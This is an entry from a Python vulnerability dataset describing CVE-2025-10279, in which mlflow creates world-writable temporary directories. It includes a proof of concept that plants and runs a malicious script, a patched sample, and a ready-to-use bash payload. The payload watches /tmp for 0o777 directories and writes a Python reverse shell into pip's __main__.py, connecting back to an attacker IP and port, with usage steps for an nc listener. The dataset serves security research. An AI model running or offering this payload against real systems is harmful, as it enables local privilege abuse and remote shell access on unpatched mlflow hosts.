CVE-2025-10279
Insecure temp directory permissions in mlflow allow arbitrary code execution.
- CVSS 7.0
- CWE-379
- Race Conditions
- Local
In mlflow version 2.20.3, the temporary directory used for creating Python virtual environments is assigned insecure world-writable permissions (0o777). This vulnerability allows an attacker with write access to the `/tmp` directory to exploit a race condition and overwrite `.py` files in the virtual environment, leading to arbitrary code execution. The issue is resolved in version 3.4.0.
- CWE
- CWE-379
- CVSS base score
- 7.0
- Published
- 2026-02-02
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Assignment
- Code defect classification
- Incorrect Assignment
- Category
- Race Conditions
- Subcategory
- Race Condition in File Operations
- Accessibility scope
- Local
- Impact
- Arbitrary Code Execution
- Affected component
- mlflow
- Fixed by upgrading
- Yes
Solution
Upgrade mlflow to version 3.4.0 or later.
Vulnerable code sample
import os
import tempfile
import time
import subprocess
import shutil
import stat
# This code represents the vulnerable logic present in mlflow before the fix.
# It is a self-contained proof-of-concept and not the literal source code from mlflow.
#
# Vulnerability details:
# 1. A temporary directory is created.
# 2. Its permissions are insecurely set to 0o777 (world-writable).
# 3. A race condition window opens, allowing a local attacker to write files into this directory.
# 4. The mlflow process later uses this directory to create a Python virtual environment
# and install packages, which can lead to the execution of the attacker's code.
def create_vulnerable_environment_and_execute():
"""
Simulates the vulnerable process of creating a Python environment
in a temporary directory with insecure permissions.
"""
# 1. A temporary directory is created for the new virtual environment.
# In a multi-user system, this directory is typically created in a shared
# location like /tmp.
env_tmp_dir = tempfile.mkdtemp(prefix="mlflow-vuln-")
print(f"[VICTIM] Created temporary directory for environment: {env_tmp_dir}")
try:
# 2. THE VULNERABILITY: The directory permissions are set to 0o777.
# This makes the directory world-writable, allowing any user on the
# system to add, modify, or delete files within it.
os.chmod(env_tmp_dir, stat.S_IRWXU | stat.S_IRWXG | stat.S_IRWXO) # 0o777
print(f"[VICTIM] Insecure permissions (0o777) set on {env_tmp_dir}")
# 3. RACE CONDITION WINDOW (SIMULATED).
# An attacker monitoring the /tmp directory can now see this new,
# world-writable directory and act before the victim process populates it.
print("\n[ATTACKER] Race condition window is OPEN for the next 5 seconds.")
print(f"[ATTACKER] A malicious actor would now write files into {env_tmp_dir}")
# --- SIMULATING THE ATTACKER'S ACTIONS ---
# A separate attacker process would perform these steps in a real scenario.
# Here, we simulate it to demonstrate the impact. The attacker will
# place a malicious Python file that will be executed later.
# The attacker needs to know what file to create. They can predict that
# the venv creation process will create a specific directory structure.
# They will plant a malicious file in a predictable location.
# For this PoC, we assume the victim will later run a script named `bootstrap.py`
# from within this directory. The attacker creates this file with malicious content.
malicious_script_path = os.path.join(env_tmp_dir, "bootstrap.py")
malicious_code = """
import os
print("!!! PWNED BY CVE-2025-10279: Malicious code is executing! !!!")
# As proof of concept, create a file in /tmp
with open("/tmp/pwned.txt", "w") as f:
f.write("Vulnerability exploited")
print("!!! Created file /tmp/pwned.txt to prove arbitrary code execution. !!!")
"""
with open(malicious_script_path, "w") as f:
f.write(malicious_code)
print(f"[ATTACKER] Malicious 'bootstrap.py' planted at: {malicious_script_path}")
time.sleep(5) # Representing the time it takes for the victim to proceed.
print("[ATTACKER] Race condition window is now closed.\n")
# --- END OF SIMULATED ATTACK ---
# 4. The legitimate process continues, unaware of the compromise.
# It now creates the virtual environment inside the directory.
print(f"[VICTIM] Creating Python virtual environment in {env_tmp_dir}...")
subprocess.run(
["python3", "-m", "venv", env_tmp_dir],
check=True,
capture_output=True
)
print("[VICTIM] Virtual environment created.")
# 5. The legitimate process executes a script it expects to be safe.
# However, the attacker has already placed a malicious version.
python_executable = os.path.join(env_tmp_dir, "bin", "python")
script_to_run = os.path.join(env_tmp_dir, "bootstrap.py")
print(f"[VICTIM] Now executing expected bootstrap script: {script_to_run}")
print("------------------- EXECUTION STARTS -------------------")
# This command runs the malicious code planted by the attacker.
subprocess.run([python_executable, script_to_run], check=True)
print("-------------------- EXECUTION ENDS --------------------")
# 6. Verify if the attack was successful.
if os.path.exists("/tmp/pwned.txt"):
print("\n[SUCCESS] Vulnerability successfully exploited. Proof file found at /tmp/pwned.txt.")
os.remove("/tmp/pwned.txt") # Clean up proof file
else:
print("\n[FAILURE] Exploit did not succeed. Proof file not found.")
finally:
# Clean up the temporary directory.
print(f"[CLEANUP] Removing temporary directory: {env_tmp_dir}")
shutil.rmtree(env_tmp_dir, ignore_errors=True)
if __name__ == "__main__":
create_vulnerable_environment_and_execute()Patched code sample
import os
import stat
import tempfile
import shutil
def create_secure_temporary_environment():
"""
Demonstrates the fixed, secure method for creating a temporary directory.
The vulnerable method would have incorrectly set world-writable permissions.
This corrected function relies on the `tempfile` module's default
secure behavior (creating directories with 0o700 permissions) and
verifies it.
"""
temp_dir_path = None
try:
# 1. Create the temporary directory using the secure default mode.
# tempfile.mkdtemp() creates the directory with mode 0o700, which grants
# read, write, and execute permissions only to the creating user.
temp_dir_path = tempfile.mkdtemp()
# 2. Verify that the permissions are secure.
permissions = stat.S_IMODE(os.stat(temp_dir_path).st_mode)
# 3. Assert that the permissions are 0o700. This is the core of the fix.
# This programmatic check confirms that the directory is not world-writable,
# thus preventing the race condition vulnerability. The script will fail
# with an AssertionError if permissions are insecure.
assert permissions == 0o700
# In a real-world scenario, the code to create the Python virtual
# environment would execute here, inside the secure directory.
# print(f"Successfully created secure temporary directory: {temp_dir_path}")
# print(f"Permissions: {oct(permissions)}")
finally:
# 4. Ensure the temporary directory is always cleaned up.
if temp_dir_path and os.path.exists(temp_dir_path):
shutil.rmtree(temp_dir_path)
# To demonstrate the fix, this function can be executed.
# It will run without error, proving the assertion for secure permissions passed.
if __name__ == '__main__':
create_secure_temporary_environment()Payload
#!/bin/bash
#
# Usage:
# 1. Update ATTACKER_IP and ATTACKER_PORT with your listener details.
# 2. On the attacker machine, start a listener: nc -lvnp 4444
# 3. Run this script on the target machine as a user with access to /tmp.
# 4. Trigger the vulnerable mlflow action that creates a virtual environment.
ATTACKER_IP="10.0.0.5"
ATTACKER_PORT="4444"
PYTHON_PAYLOAD="import os,socket,pty;s=socket.socket();s.connect(('${ATTACKER_IP}',${ATTACKER_PORT}));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn('/bin/bash')"
inotifywait -m -r -e create --format '%w%f' /tmp/ | while read -r TARGET_DIR; do
if [ -d "$TARGET_DIR" ] && [ "$(stat -c '%a' "$TARGET_DIR")" = "777" ]; then
for PY_VERSION in 3.8 3.9 3.10 3.11 3.12; do
PAYLOAD_PATH="${TARGET_DIR}/lib/python${PY_VERSION}/site-packages/pip/__main__.py"
mkdir -p "$(dirname "$PAYLOAD_PATH")" &>/dev/null
echo "$PYTHON_PAYLOAD" > "$PAYLOAD_PATH"
done
fi
done
Cite this entry
@misc{vaitp:cve202510279,
title = {{Insecure temp directory permissions in mlflow allow arbitrary code execution.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2025-10279},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-10279/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
